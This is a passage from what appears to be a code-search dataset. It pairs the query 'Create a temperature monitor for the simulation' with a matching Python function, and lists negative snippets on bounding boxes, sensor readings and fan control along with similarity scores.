y2):\\n x1, y1 = x1 / width, y1 / height\\n x2, y2 = x2 / width, y2 / height\\n w = (x2 - x1) \\n h = (y2 - y1) \\n center_x = x1 + w/2\\n center_y = y1 + h/2\\n \\n return center_x, center_y, w, h\",\n \"def covering_box(boxes):\\n x_min = np.amin([b.x for b in boxes])\\n x_max = np.amax([b.x + b.width for b in boxes])\\n y_min = np.amin([b.y for b in boxes])\\n y_max = np.amax([b.y + b.height for b in boxes])\\n cover = Box(x_min, y_min, x_max - x_min, y_max - y_min)\\n return cover\",\n \"def create_bbox(nodes, per_selection=False):\\n\\n if per_selection:\\n for node in nodes:\\n return cube_from_bbox(node.boundingBox())\\n else:\\n bbox = pm.dt.BoundingBox()\\n for node in nodes:\\n bbox.expand(node.boundingBox().min())\\n bbox.expand(node.boundingBox().max())\\n return cube_from_bbox(bbox)\",\n \"def build_box(blcorner, trcorner):\\n modelbox = [[], []]\\n if blcorner != None:\\n x, y = literal_eval(blcorner)\\n modelbox[0].append(str(x))\\n modelbox[0].append(str(y))\\n else:\\n raise TelemacException(\\\\\\n '... could not find your bounding box bottom left'\\n 'corner. Please use --bl option (, delimited, no '\\n 'spaces).\\\\n\\\\n')\\n if trcorner != None:\\n x, y = literal_eval(trcorner)\\n modelbox[1].append(str(x))\\n modelbox[1].append(str(y))\\n else:\\n raise TelemacException(\\\\\\n '... could not find your bounding box top right '\\n 'corner. Please use --tr option (, delimited, no '\\n 'spaces).\\\\n\\\\n')\\n return modelbox\",\n \"def bbox(self):\\n return np.array(\\n [[self.position[0], self.position[1]], [self.position[0], self.position[1]]]\\n )\",\n \"def bbox(self):\\n bbox = self.get_bounding_box()\\n if bbox is None:\\n bbox = ((0, 0), (0, 0))\\n return np.array(bbox)\",\n \"def draw_boxes(image, bounds):\\n draw = ImageDraw.Draw(image)\\n if bounds[0].normalized_vertices:\\n width = image.width\\n height = image.height\\n for i in range(len(bounds)):\\n draw.polygon([\\n bounds[i].normalized_vertices[0].x * width, bounds[i].normalized_vertices[0].y * height,\\n bounds[i].normalized_vertices[1].x * width, bounds[i].normalized_vertices[1].y * height,\\n bounds[i].normalized_vertices[2].x * width, bounds[i].normalized_vertices[2].y * height,\\n bounds[i].normalized_vertices[3].x * width, bounds[i].normalized_vertices[3].y * height],\\n None, colors[i % len(colors)])\\n return image\\n else:\\n for i in range(len(bounds)):\\n draw.polygon([\\n bounds[i].vertices[0].x, bounds[i].vertices[0].y,\\n bounds[i].vertices[1].x, bounds[i].vertices[1].y,\\n bounds[i].vertices[2].x, bounds[i].vertices[2].y,\\n bounds[i].vertices[3].x, bounds[i].vertices[3].y],\\n None, colors[i % len(colors)])\\n return image\",\n \"def get_bounding_box(vehicle, camera):\\n\\n bb_cords = ClientSideBoundingBoxes._create_bb_points(vehicle)\\n cords_x_y_z = ClientSideBoundingBoxes._vehicle_to_sensor(bb_cords, vehicle, camera)[:3, :]\\n cords_y_minus_z_x = np.concatenate([cords_x_y_z[1, :], -cords_x_y_z[2, :], cords_x_y_z[0, :]])\\n bbox = np.transpose(np.dot(camera.calibration, cords_y_minus_z_x))\\n camera_bbox = np.concatenate([bbox[:, 0] / bbox[:, 2], bbox[:, 1] / bbox[:, 2], bbox[:, 2]], axis=1)\\n return camera_bbox\",\n \"def get_bounding_box(self):\\n if len(self.polygons) == 0:\\n return None\\n return numpy.array(((min(pts[:, 0].min() for pts in self.polygons),\\n min(pts[:, 1].min() for pts in self.polygons)),\\n (max(pts[:, 0].max() for pts in self.polygons),\\n max(pts[:, 1].max() for pts in self.polygons))))\",\n \"def defineRectangleLayout(self):\\n\\n #--- Define a 2-D mesh ---\\n # Divide x- and y-axis\\n self.xPoints = self.frange(0,self.Lx,self.h)\\n self.yPoints = self.frange(0,self.Ly,self.h)\\n\\n # Position (xy-coordinate) of boundary points\\n boundary_xyCoord = [(0,j) for j in self.yPoints] + [(self.Lx,j) for j in self.yPoints] + [(i,0) for i in self.xPoints[1:len(self.xPoints)-1]] + [(i,self.Ly) for i in self.xPoints[1:len(self.xPoints)-1]] \\n\\n # Define the dictionary containing boundary points\\n for k in boundary_xyCoord:\\n x = k[0]\\n y = k[1]\\n xLabel = self.xPoints.index(x)\\n yLabel = self.yPoints.index(y)\\n self.boundaryPoints[(xLabel,yLabel)] = meshPoint(type = 'boundary',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \\n \\n # Position (xy-coordinate) of internal mesh points\\n internal_xyCoord = [(i,j) for i in self.xPoints[1:len(self.xPoints)-1] for j in self.yPoints[1:len(self.yPoints)-1]] \\n\\n # Define the dictionary containing internal points\\n for k in internal_xyCoord:\\n x = k[0]\\n y = k[1]\\n xLabel = self.xPoints.index(x)\\n yLabel = self.yPoints.index(y)\\n self.internalPoints[(xLabel,yLabel)] = meshPoint(type = 'internal',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \\n\\n # Now that we have assigned the labels we can define fE, fW, fN and fS\\n self.fCalc()\",\n \"def box(self, x, y, w, h):\\n\\t\\tpass\",\n \"def createBox( size=(1,1,1), position=(0,0,0), colour=(0.6,0.6,0.6) ):\\r\\n \\r\\n size = PyUtils.toVector3d(size)\\r\\n position = PyUtils.toPoint3d(position)\\r\\n vertices = []\\r\\n delta = MathLib.Vector3d()\\r\\n for repeat in range(3):\\r\\n for x in (-0.5,0.5) :\\r\\n delta.x = size.x * x\\r\\n for y in (-0.5,0.5) :\\r\\n delta.y = size.y * y\\r\\n for z in (-0.5,0.5) :\\r\\n delta.z = size.z * z\\r\\n vertices.append( position + delta )\\r\\n \\r\\n faces = [(0,1,3,2),(5,4,6,7), # YZ Faces\\r\\n (9,13,15,11),(12,8,10,14), # XY Faces\\r\\n (18,19,23,22),(17,16,20,21)] # XZ Faces\\r\\n \\r\\n return create( vertices, faces, colour )\",\n \"def _sourceBoundingBox(self, source, width, height):\\n pos = source.get('position')\\n bbox = {'left': 0, 'top': 0, 'right': width, 'bottom': height}\\n if not pos:\\n return bbox\\n x0, y0, x1, y1 = 0, 0, width, height\\n if 'crop' in pos:\\n x0 = min(max(pos['crop'].get('left', x0), 0), width)\\n y0 = min(max(pos['crop'].get('top', y0), 0), height)\\n x1 = min(max(pos['crop'].get('right', x1), x0), width)\\n y1 = min(max(pos['crop'].get('bottom', y1), y0), height)\\n bbox['crop'] = {'left': x0, 'top': y0, 'right': x1, 'bottom': y1}\\n corners = np.array([[x0, y0, 1], [x1, y0, 1], [x0, y1, 1], [x1, y1, 1]])\\n m = np.identity(3)\\n m[0][0] = pos.get('s11', 1) * pos.get('scale', 1)\\n m[0][1] = pos.get('s12', 0) * pos.get('scale', 1)\\n m[0][2] = pos.get('x', 0)\\n m[1][0] = pos.get('s21', 0) * pos.get('scale', 1)\\n m[1][1] = pos.get('s22', 1) * pos.get('scale', 1)\\n m[1][2] = pos.get('y', 0)\\n if not np.array_equal(m, np.identity(3)):\\n bbox['transform'] = m\\n try:\\n bbox['inverse'] = np.linalg.inv(m)\\n except np.linalg.LinAlgError:\\n msg = 'The position for a source is not invertable (%r)'\\n raise TileSourceError(msg, pos)\\n transcorners = np.dot(m, corners.T)\\n bbox['left'] = min(transcorners[0])\\n bbox['top'] = min(transcorners[1])\\n bbox['right'] = max(transcorners[0])\\n bbox['bottom'] = max(transcorners[1])\\n return bbox\",\n \"def test_get_bounding_box(self):\\n\\n # Note there are two possible correct values of bbox depending on\\n # the version of gdal:\\n # http://trac.osgeo.org/gdal/wiki/rfc33_gtiff_pixelispoint\\n\\n # Get gdal version number\\n x = gdal.VersionInfo('').replace('dev', '').split()\\n y = x[1].split('.')[:2]\\n z = ''.join(y) # Turn into number and\\n if z.endswith(','):\\n z = z[:-1] # Remove trailing comma\\n\\n # Reference bbox for vector data\\n ref_bbox = {'tsunami_building_exposure.shp': [150.15238387897742,\\n -35.71084183517241,\\n 150.18779267086208,\\n -35.70131768155173]}\\n\\n # Select correct reference bbox for rasters\\n if float(z) < 17:\\n ref_bbox['Earthquake_Ground_Shaking_clip.tif'] = [99.3641696,\\n -2.2031806,\\n 102.2411696,\\n -0.0041806]\\n else:\\n ref_bbox['Earthquake_Ground_Shaking_clip.tif'] = [99.36,\\n -2.199,\\n 102.237,\\n 0.0]\\n\\n for filename in ['Earthquake_Ground_Shaking_clip.tif',\\n 'tsunami_building_exposure.shp']:\\n abspath = os.path.join(TESTDATA, filename)\\n bbox = get_bounding_box(abspath)\\n msg = ('Got bbox %s from filename %s, but expected %s '\\n % (str(bbox), filename, str(ref_bbox[filename])))\\n assert numpy.allclose(bbox, ref_bbox[filename]), msg\\n\\n # Check the conversions\\n bbox_string = bboxlist2string(bbox)\\n\\n # Check the check :-)\\n check_bbox_string(bbox_string)\\n\\n # Check that it works for layer objects instantiated from file\\n L = read_layer(abspath)\\n L_bbox = L.get_bounding_box()\\n msg = ('Got bbox %s from filename %s, but expected %s '\\n % (str(L_bbox), filename, str(ref_bbox[filename])))\\n assert numpy.allclose(L_bbox, ref_bbox[filename]), msg\\n\\n # Check that it works for layer objects instantiated from data\\n if L.is_raster:\\n D = Raster(data=L.get_data(),\\n projection=L.get_projection(),\\n geotransform=L.get_geotransform())\\n elif L.is_vector:\\n D = Vector(data=L.get_data(),\\n projection=L.get_projection(),\\n geometry=L.get_geometry())\\n else:\\n msg = 'Unexpected layer object: %s' % str(L)\\n raise RuntimeError(msg)\\n\\n # Check that get_bounding_box works for data instantiated layers\\n D_bbox = D.get_bounding_box()\\n msg = ('Got bbox %s from layer %s, but expected %s '\\n % (str(D_bbox), str(D), str(L_bbox)))\\n assert numpy.allclose(D_bbox, L_bbox), msg\",\n \"def getbbox(self):\\n pass\",\n \"def get_bbox(x,y, buffer=0.):\\n return dict(left=np.min(x), \\n right=np.max(x), \\n bottom=np.min(y), \\n top=np.max(y))\",\n \"def getLocation(bounding_box):\\n ymin, xmin, ymax, xmax = bounding_box\\n w=1280\\n h=720\\n left, right, top, bottom = (xmin * w, xmax * w,\\n ymin * h, ymax * h)\\n ###############################################\\n\\n top = max(0, np.floor(top + 0.5).astype('int32'))\\n left = max(0, np.floor(left + 0.5).astype('int32'))\\n bottom = min(h, np.floor(bottom + 0.5).astype('int32'))\\n right = min(w, np.floor(right + 0.5).astype('int32'))\\n # print(label, (left, top), (right, bottom))\\n \\n return int((left + right) / 2.0), int((top + bottom) / 2.0)\\n \\n # xlt, ylt, xrb, yrb = bounding_box\\n # return int((xlt + xrb) / 2.0), int((ylt + yrb) / 2.0)\",\n \"def vis_bbox(image: Image, bbox, color=_GREEN, thick=1) -> Image:\\n image = image.astype(np.uint8)\\n bbox = list(map(int, bbox))\\n x0, y0, x1, y1 = bbox\\n cv2.rectangle(image, (x0, y0), (x1, y1), color, thickness=thick)\\n return image\",\n \"def add_box(self, l, w, h, x, y, z, comment=\\\"\\\"):\\n self.data['shape']['compound'].append({'box': {'#': comment, 'pose': {'x': x, 'y': y, 'z': z},\\n 'size': {'x': l, 'y': w, 'z': h}}})\",\n \"def get_boxes(self):\\r\\n\\r\\n boxes = [(\\\" \\\", self.worldbox.tl, self.worldbox.br)]\\r\\n# boxes = []\\r\\n boxes += [(\\\".\\\", b.tl, b.br) for b in self.wallboxes]\\r\\n boxes += [(\\\"x\\\", b.tl, b.br) for b in self.targetboxes]\\r\\n agentscale = 100\\r\\n boxes += [(\\\"a\\\", (self.i_state[0] - self.dx * agentscale, self.i_state[1] - self.dx * agentscale),\\r\\n (self.i_state[0] + self.dx * agentscale, self.i_state[1] + self.dx * agentscale))]\\r\\n return boxes\",\n \"def bounds(*tile):\\n tile = _parse_tile_arg(*tile)\\n xtile, ytile, zoom, provider_bounds = tile\\n a = ul(xtile, ytile, zoom, provider_bounds)\\n b = ul(xtile + 1, ytile + 1, zoom, provider_bounds)\\n return Bbox(a[0], b[1], b[0], a[1])\",\n \"def get_bounding_box(self):\\n deps_still_valid = all(ref._bb_valid for ref in self.get_dependencies(True))\\n cached_bbox_still_valid = self._bb_valid and deps_still_valid\\n if not cached_bbox_still_valid:\\n bb = numpy.array(((1e300, 1e300), (-1e300, -1e300)))\\n all_polygons = []\\n for polygon in self.polygons:\\n all_polygons.extend(polygon.polygons)\\n for path in self.paths:\\n all_polygons.extend(path.to_polygonset().polygons)\\n for reference in self.references:\\n reference_bb = reference.get_bounding_box()\\n if reference_bb is not None:\\n all_polygons.append(reference_bb)\\n if len(all_polygons) > 0:\\n all_points = numpy.concatenate(all_polygons).transpose()\\n bb[0, 0] = min(bb[0, 0], all_points[0].min())\\n bb[0, 1] = min(bb[0, 1], all_points[1].min())\\n bb[1, 0] = max(bb[1, 0], all_points[0].max())\\n bb[1, 1] = max(bb[1, 1], all_points[1].max())\\n self._bounding_box = bb\\n else:\\n self._bounding_box = None\\n self._bb_valid = True\\n\\n if self._bounding_box is None:\\n return None\\n else:\\n # return a *copy* of the cached bounding box to ensure it doesn't get inadvertently modified\\n return numpy.array(self._bounding_box)\",\n \"def bounds(self):\\n return self._bboxes[0][0] #TODO: merge all coverages\",\n \"def bounding_box(self, value):\\n frames = self.available_frames\\n transform_0 = self.get_transform(frames[0], frames[1])\\n if value is None:\\n transform_0.bounding_box = value\\n else:\\n try:\\n # Make sure the dimensions of the new bbox are correct.\\n mutils._BoundingBox.validate(transform_0, value)\\n except Exception:\\n raise\\n # get the sorted order of axes' indices\\n axes_ind = self._get_axes_indices()\\n if transform_0.n_inputs == 1:\\n transform_0.bounding_box = value\\n else:\\n # The axes in bounding_box in modeling follow python order\\n #transform_0.bounding_box = np.array(value)[axes_ind][::-1]\\n transform_0.bounding_box = [value[ind] for ind in axes_ind][::-1]\\n self.set_transform(frames[0], frames[1], transform_0)\",\n \"def bounding_box(points):\\n x, y, z = zip(*points)\\n min_x = min(x)\\n max_x = max(x)\\n min_y = min(y)\\n max_y = max(y)\\n min_z = min(z)\\n max_z = max(z)\\n return [(min_x, min_y, min_z),\\n (max_x, min_y, min_z),\\n (max_x, max_y, min_z),\\n (min_x, max_y, min_z),\\n (min_x, min_y, max_z),\\n (max_x, min_y, max_z),\\n (max_x, max_y, max_z),\\n (min_x, max_y, max_z)]\",\n \"def create_box(world, space, density, lx, ly, lz):\\r\\n\\r\\n\\t\\t# Create body\\r\\n\\t\\tbody = ode.Body(world)\\r\\n\\t\\tM = ode.Mass()\\r\\n\\t\\tM.setBox(density, lx, ly, lz)\\r\\n\\t\\tbody.setMass(M)\\r\\n\\r\\n\\t\\t# Set parameters for drawing the body\\r\\n\\t\\tbody.shape = \\\"box\\\"\\r\\n\\t\\tbody.boxsize = (lx, ly, lz)\\r\\n\\r\\n\\t\\t# Create a box geom for collision detection\\r\\n\\t\\tgeom = ode.GeomBox(space, lengths = body.boxsize)\\r\\n\\t\\tgeom.setBody(body)\\r\\n\\r\\n\\t\\treturn body, geom\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7411611","0.69350845","0.6934657","0.68345034","0.6752757","0.67286456","0.6659727","0.6606735","0.65993637","0.65464365","0.654596","0.65450597","0.64703244","0.6465996","0.6458008","0.6437728","0.6423373","0.64145267","0.6410763","0.63957316","0.63891685","0.6385229","0.6365438","0.6364015","0.6355515","0.6352976","0.6351185","0.63264126","0.63264126","0.63229644","0.63075215","0.6300005","0.62998635","0.6287488","0.6282993","0.6265986","0.62645274","0.62408733","0.62260073","0.62257576","0.62206924","0.6213092","0.62074447","0.6184308","0.61793745","0.617554","0.6152295","0.6148396","0.6148048","0.6114922","0.60935575","0.60837716","0.6078594","0.6073219","0.6072296","0.60704726","0.6066505","0.606486","0.6063099","0.6062701","0.60446316","0.60439664","0.60378534","0.6032482","0.60258156","0.60238695","0.60209674","0.6018993","0.60149676","0.6008409","0.60028756","0.6000498","0.59783995","0.59782314","0.5973575","0.5970927","0.5969149","0.5963347","0.5956253","0.59546053","0.5954273","0.5951165","0.59508836","0.5949629","0.59475845","0.59425026","0.5942241","0.59333014","0.5931239","0.5922669","0.59218615","0.5908803","0.58817255","0.58753455","0.5872275","0.5865034","0.58606243","0.5860067","0.5859632","0.585886"],"string":"[\n \"0.7411611\",\n \"0.69350845\",\n \"0.6934657\",\n \"0.68345034\",\n \"0.6752757\",\n \"0.67286456\",\n \"0.6659727\",\n \"0.6606735\",\n \"0.65993637\",\n \"0.65464365\",\n \"0.654596\",\n \"0.65450597\",\n \"0.64703244\",\n \"0.6465996\",\n \"0.6458008\",\n \"0.6437728\",\n \"0.6423373\",\n \"0.64145267\",\n \"0.6410763\",\n \"0.63957316\",\n \"0.63891685\",\n \"0.6385229\",\n \"0.6365438\",\n \"0.6364015\",\n \"0.6355515\",\n \"0.6352976\",\n \"0.6351185\",\n \"0.63264126\",\n \"0.63264126\",\n \"0.63229644\",\n \"0.63075215\",\n \"0.6300005\",\n \"0.62998635\",\n \"0.6287488\",\n \"0.6282993\",\n \"0.6265986\",\n \"0.62645274\",\n \"0.62408733\",\n \"0.62260073\",\n \"0.62257576\",\n \"0.62206924\",\n \"0.6213092\",\n \"0.62074447\",\n \"0.6184308\",\n \"0.61793745\",\n \"0.617554\",\n \"0.6152295\",\n \"0.6148396\",\n \"0.6148048\",\n \"0.6114922\",\n \"0.60935575\",\n \"0.60837716\",\n \"0.6078594\",\n \"0.6073219\",\n \"0.6072296\",\n \"0.60704726\",\n \"0.6066505\",\n \"0.606486\",\n \"0.6063099\",\n \"0.6062701\",\n \"0.60446316\",\n \"0.60439664\",\n \"0.60378534\",\n \"0.6032482\",\n \"0.60258156\",\n \"0.60238695\",\n \"0.60209674\",\n \"0.6018993\",\n \"0.60149676\",\n \"0.6008409\",\n \"0.60028756\",\n \"0.6000498\",\n \"0.59783995\",\n \"0.59782314\",\n \"0.5973575\",\n \"0.5970927\",\n \"0.5969149\",\n \"0.5963347\",\n \"0.5956253\",\n \"0.59546053\",\n \"0.5954273\",\n \"0.5951165\",\n \"0.59508836\",\n \"0.5949629\",\n \"0.59475845\",\n \"0.59425026\",\n \"0.5942241\",\n \"0.59333014\",\n \"0.5931239\",\n \"0.5922669\",\n \"0.59218615\",\n \"0.5908803\",\n \"0.58817255\",\n \"0.58753455\",\n \"0.5872275\",\n \"0.5865034\",\n \"0.58606243\",\n \"0.5860067\",\n \"0.5859632\",\n \"0.585886\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.63606215"},"document_rank":{"kind":"string","value":"24"}}},{"rowIdx":80087,"cells":{"query":{"kind":"string","value":"Create a temperature monitor for the simulation."},"document":{"kind":"string","value":"def create_temp_point_monitor(self, point_name, point_coord=[0, 0, 0]):\n arg1 = [\n \"NAME:PointParameters\",\n \"PointX:=\",\n point_coord[0],\n \"PointY:=\",\n point_coord[1],\n \"PointZ:=\",\n point_coord[2],\n ]\n\n arg2 = [\"NAME:Attributes\", \"Name:=\", point_name, \"Color:=\", \"(143 175 143)\"]\n\n self.modeler.oeditor.CreatePoint(arg1, arg2)\n monitor = self._odesign.GetModule(\"Monitor\")\n\n arg = [\"NAME:\" + str(point_name), \"Quantities:=\", [\"Temperature\"], \"Points:=\", [str(point_name)]]\n\n monitor.AssignPointMonitor(arg)\n return True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def __init__(self, sensor, temperature_resolution, humidity_resolution):\n self.sensor = sensor\n self.sensor.turnHeaterOn() \n time.sleep(1.0) # Burn off condensed stuff.\n self.sensor.turnHeaterOff() \n self.update()\n # Main Program\n #print \"------------\"\n #print \"Manfacturer ID=0x%X\"% self.sensor.readManufacturerID() \n #print \"Device ID=0x%X\"% self.sensor.readDeviceID() \n #print \"Serial Number ID=0x%X\"% self.sensor.readSerialNumber() \n \n # change temperature resolution\n self.sensor.setTemperatureResolution(temperature_resolution)\n self.sensor.setHumidityResolution(humidity_resolution)","def temperature_sensor():\n\n\tsensor_name = \"humiture\"\n\treg_addr = 26\n\tdata_len = 4\n\tregist_sensor(sensor_name, reg_addr, data_len)\n\n\t# get sensor data\n\tdata = rospy.wait_for_message('MediumSize/SensorHub/Temperature', Temperature, 2)\n\ttemperature = data.temperature\n\n\tdelete_sensor(sensor_name)\n\treturn temperature","def main():\n push_bullet = Pushbullet()\n monitor = SensorMonitor()\n database = SqliteConnection()\n\n # Threshold to notify users once temperature has fallen bellow it\n temp_threshold = 20\n\n hum = monitor.get_hum()\n temp = monitor.get_temp()\n time = datetime.now()\n\n monitor.write(\"SENSING TEMPERATURE\")\n\n database.save_data(time, temp, hum)\n\n # Get last temperature stored in database or set to threshold\n data = database.get_last_entry()\n try:\n last_entry = 0\n for row in data:\n last_entry = row[1]\n except TypeError:\n last_entry = temp_threshold\n\n\n # If temperature is bellow threshold and last temperature was\n # above the threshold.\n # This stops the user getting continuous notifications when the\n # temperature stays bellow the threshold.\n if temp < temp_threshold <= last_entry:\n push_bullet.send_note(\n \"Cold\",\n \"The room is under 20 degrees you should bring a jacket\"\n )\n\n database.close()","def start_monitor():\n monitor_enabled = config_json[env]['MONITOR_ENABLED']\n monitor_trigger_interval_s = int( config_json[env]['MONITOR_TRIGGER_INTERVAL_S'] )\n\n # IF SCHEDULE IS ENABLED IN CONFIG:\n if monitor_enabled == \"1\":\n\n print(\"\\nSpace Weather Service Monitor: ENABLED (running every %s seconds)\" % monitor_trigger_interval_s)\n\n # RUN INITIAL CHECK SPACE WEATHER\n processes.process_check_space_weather()\n\n # CREATE SCHEDULER W/ INTERVAL TRIGGER AND START\n scheduler = BackgroundScheduler()\n scheduler.add_job(\n func = processes.process_check_space_weather,\n trigger = IntervalTrigger( seconds = monitor_trigger_interval_s ),\n id = 'check_space_weather',\n name = 'Checking Space Weather Every 30 Seconds')\n scheduler.start()\n atexit.register( lambda: scheduler.shutdown() )\n else:\n print(\"\\nSpace Weather Service Monitor: DISABLED\")","def run(self):\n\t\tt = threading.Thread(target=self.__temperature_thread)\n\t\tt.daemon = True\n\t\tt.start()","def temperature(self):\n self.convert_window(\"Temperature\", \"Celsius\", [\"Celsius\", \"Fahrenheit\", \"Kelvin\", \"Rankine\", \"Reaumur\", \"Newton\", \"Romer\", \"Delisle\"])","def __init__(self, sensor):\n self.sensor = sensor\n self.temperature = None\n self.humitidy = None\n self.update()","def writetemperature(self):\r\n\t\tTEMP_CONFIG = (SI7015_REG_CONFIG_CNVRSN_ON | SI7015_REG_CONFIG_TEMP)\r\n\t\tbus.write_byte_data(SI7015_DEFAULT_ADDRESS, SI7015_REG_CONFIG, TEMP_CONFIG)","def temperature_and_fan_control():\n temp_room_1 = room1_temp()\n temp_room_2 = room2_temp()\n outside_temp = intake_temp()\n if temp_room_1 < 26 or temp_room_2 < 26:\n fan_1(False) # Temp under 26 in either room turn fan OFF\n aux_fan(False)\n fan_speed_toogle(False)\n remove_timestamp('emergency_temp_timestamp.txt')\n elif temp_room_1 >= 26 and temp_room_1 < 28 or temp_room_2 >= 26 and \\\n temp_room_2 < 28:\n fan_1(True) # Temp between 26 and 28 turn fan on speed 1\n aux_fan(False)\n fan_speed_toogle(False)\n remove_timestamp('emergency_temp_timestamp.txt')\n elif temp_room_1 >= 28 and temp_room_1 < 30 or temp_room_2 >= 28 and\\\n temp_room_2 < 30:\n fan_speed_toogle(True) # Temp over 28 increase fan speed\n remove_timestamp('emergency_temp_timestamp.txt')\n elif temp_room_1 >= 30 or temp_room_2 >= 30:\n if len(initial_time('emergency_temp_timestamp.txt')) == 0:\n time_write_to_file('emergency_temp_timestamp.txt', 'w')\n else:\n if mins_since_event('emergency_temp_timestamp.txt') > 5:\n aux_fan(True) # Temp been over 30 for 5mins aux_fan ON\n fan_speed_toogle(True)","def check_temperature(self):\n if self.type == 'DS18B20':\n if self.unit == 'C':\n temperature = int(self.temp_sensor.get_temperature(W1ThermSensor.DEGREES_C))\n else:\n temperature = int(self.temp_sensor.get_temperature(W1ThermSensor.DEGREES_F))\n humidity = -999\n if (self.type == 'DHT11') or (self.type == 'DHT22'):\n for i in range(5): # try for valid readings 5 times; break if valid\n try:\n if self.unit == 'C':\n temperature = self.temp_sensor.temperature\n else:\n temperature = self.temp_sensor.temperature * (9 / 5) + 32\n temperature = float(format(temperature, '.1f'))\n humidity = self.temp_sensor.humidity\n humidity = float(format(humidity, '.1f'))\n break # break out of for loop if got valid readings\n except RuntimeError:\n sleep(3) # wait 3 seconds and try again\n pass # this will retry up to 5 times before exiting the for loop\n\n if abs(temperature - self.last_reading_temp) >= self.min_difference:\n # temperature has changed from last reported temperature, therefore\n # send an event message reporting temperature by appending to send_q\n temp_text = str(temperature) + \" \" + self.unit\n text = '|'.join([self.event_text, 'Temp', temp_text])\n text_and_image = (text, self.tiny_image)\n self.send_q.append(text_and_image)\n self.last_reading_temp = temperature\n if abs(humidity - self.last_reading_humidity) >= self.min_difference:\n # humidity has changed from last reported humidity, therefore\n # send an event message reporting humidity by appending to send_q\n humidity_text = str(humidity) + \" %\"\n # Spelling of humidity all lower case is intentional to avoid\n # first letter test of \"Heartbeat\" in imagehub\n text = '|'.join([self.event_text, 'humidity', humidity_text])\n text_and_image = (text, self.tiny_image)\n self.send_q.append(text_and_image)\n self.last_reading_humidity = humidity","def __init__(self, task=\"example\", test=False):\n # Set up the calling task that set up the monitor and if this is a test instance\n self.test = test\n self.task = task\n \n # Set the callbacks and monitors\n self.wx.callback(windmon)\n self.wx.monitor()\n\n self.ok2open.callback(okmon)\n self.ok2open.monitor()\n\n self.dmtimer.callback(dmtimemon)\n self.dmtimer.monitor()\n\n self.countrate.callback(countmon)\n self.countrate.monitor()\n \n self.fwhm.callback(fwhmmon)\n self.fwhm.monitor()\n \n self.teqmode.monitor()\n self.vmag.monitor()\n self.ldone.monitor()\n self.counts.monitor()\n self.decker.monitor()\n self.mv_perm.monitor()\n self.chk_close.monitor()\n\n self.sunel.monitor()\n self.aaz.monitor()\n self.ael.monitor()\n self.fspos.monitor()\n self.rspos.monitor()\n self.aafocus.monitor()\n\n # Grab some initial values for the state of the telescope\n \n self.wx.poll()\n self.fwhm.poll()\n self.countrate.poll()\n self.ok2open.poll()","def test_temperatures(get_touchmat):\n touchmat = get_touchmat\n\n temperatures = touchmat.temperatures()\n info = touchmat.info()\n check_system_types.check_TemperatureInfoList(temperatures, [info])","def __init__(self, temp=21, timer_mode='Off', fan_mode='Auto', fan_swing_mode='Off', master_mode='Heat', sensor=False):\n\t\t#self.name = name\n\t\tself.temp = temp\n\t\tself.timer_mode = timer_mode\n\t\tself.fan_mode = fan_mode\n\t\tself.fan_swing_mode = fan_swing_mode\n\t\tself.master_mode = master_mode\n\t\tself.sensor = sensor","def test_monitor_creation(processor, measure, dialog_sleep):\n def run(measure):\n t = Thread(target=processor._start_monitors, args=(measure,))\n t.start()\n while t.is_alive():\n process_app_events()\n sleep(0.001)\n process_app_events()\n sleep(dialog_sleep)\n\n processor.engine = processor.plugin.create('engine', 'dummy')\n\n measure.add_tool('monitor', 'dummy')\n run(measure)\n assert len(processor.monitors_window.dock_area.dock_items()) == 1\n\n measure.add_tool('monitor', 'dummy2')\n run(measure)\n assert len(processor.monitors_window.dock_area.dock_items()) == 2\n\n measure.remove_tool('monitor', 'dummy2')\n run(measure)\n assert len(processor.monitors_window.dock_area.dock_items()) == 1\n\n measure.add_tool('monitor', 'dummy3')\n run(measure)\n assert len(processor.monitors_window.dock_area.dock_items()) == 2\n\n measure.add_tool('monitor', 'dummy4')\n run(measure)\n assert len(processor.monitors_window.dock_area.dock_items()) == 2\n\n processor.plugin.stop()\n assert not processor.monitors_window","def temphum_plot(self, kwargs=None):\n\n def valuechange():\n \"\"\"This is the function which is called, when a value is changed in the spin boxes\"\"\"\n\n tempmin.setMaximum(tempmax.value())\n tempmax.setMinimum(tempmin.value())\n hummin.setMaximum(hummax.value())\n hummax.setMinimum(hummin.value())\n\n self.variables.default_values_dict[\"settings\"][\n \"current_tempmin\"\n ] = tempmin.value()\n self.variables.default_values_dict[\"settings\"][\n \"current_tempmax\"\n ] = tempmax.value()\n self.variables.default_values_dict[\"settings\"][\n \"current_hummin\"\n ] = hummin.value()\n self.variables.default_values_dict[\"settings\"][\n \"current_hummax\"\n ] = hummax.value()\n\n max = build_command(\n self.variables.devices_dict[\"temphum_controller\"],\n (\"set_hummax\", hummax.value()),\n )\n min = build_command(\n self.variables.devices_dict[\"temphum_controller\"],\n (\"set_hummin\", hummin.value()),\n )\n\n self.variables.vcw.write(\n self.variables.devices_dict[\"temphum_controller\"], max\n )\n self.variables.vcw.write(\n self.variables.devices_dict[\"temphum_controller\"], min\n )\n\n def dry_air_action():\n if dry_air_btn.isChecked():\n device_dict = self.variables.devices_dict[\"temphum_controller\"]\n try:\n command = build_command(\n device_dict, (\"set_environement_control\", \"ON\")\n )\n answer = self.variables.vcw.write(device_dict, command)\n if not answer:\n self.log.error(\n \"The environement controller did not responsed accordingly. Answer: \"\n + str(answer).strip()\n )\n return 0\n except:\n self.log.error(\n \"An error occured while changing the environement control\"\n )\n return 0\n dry_air_btn.setText(\"Humidity ctl. on\")\n self.variables.default_values_dict[\"settings\"][\n \"humidity_control\"\n ] = True\n\n else:\n device_dict = self.variables.devices_dict[\"temphum_controller\"]\n try:\n command = build_command(\n device_dict, (\"set_environement_control\", \"OFF\")\n )\n answer = self.variables.vcw.write(device_dict, command)\n if not answer:\n self.log.error(\n \"The environement controller did not responsed accordingly. Answer: \"\n + str(answer).strip()\n )\n\n return 0\n except:\n self.log.error(\n \"An error occured while changing the environement control\"\n )\n return 0\n dry_air_btn.setText(\"Humidity ctl. off\")\n self.variables.default_values_dict[\"settings\"][\n \"humidity_control\"\n ] = False\n\n def light_action():\n \"\"\"This function is debricated\"\"\"\n if light_btn.isChecked():\n 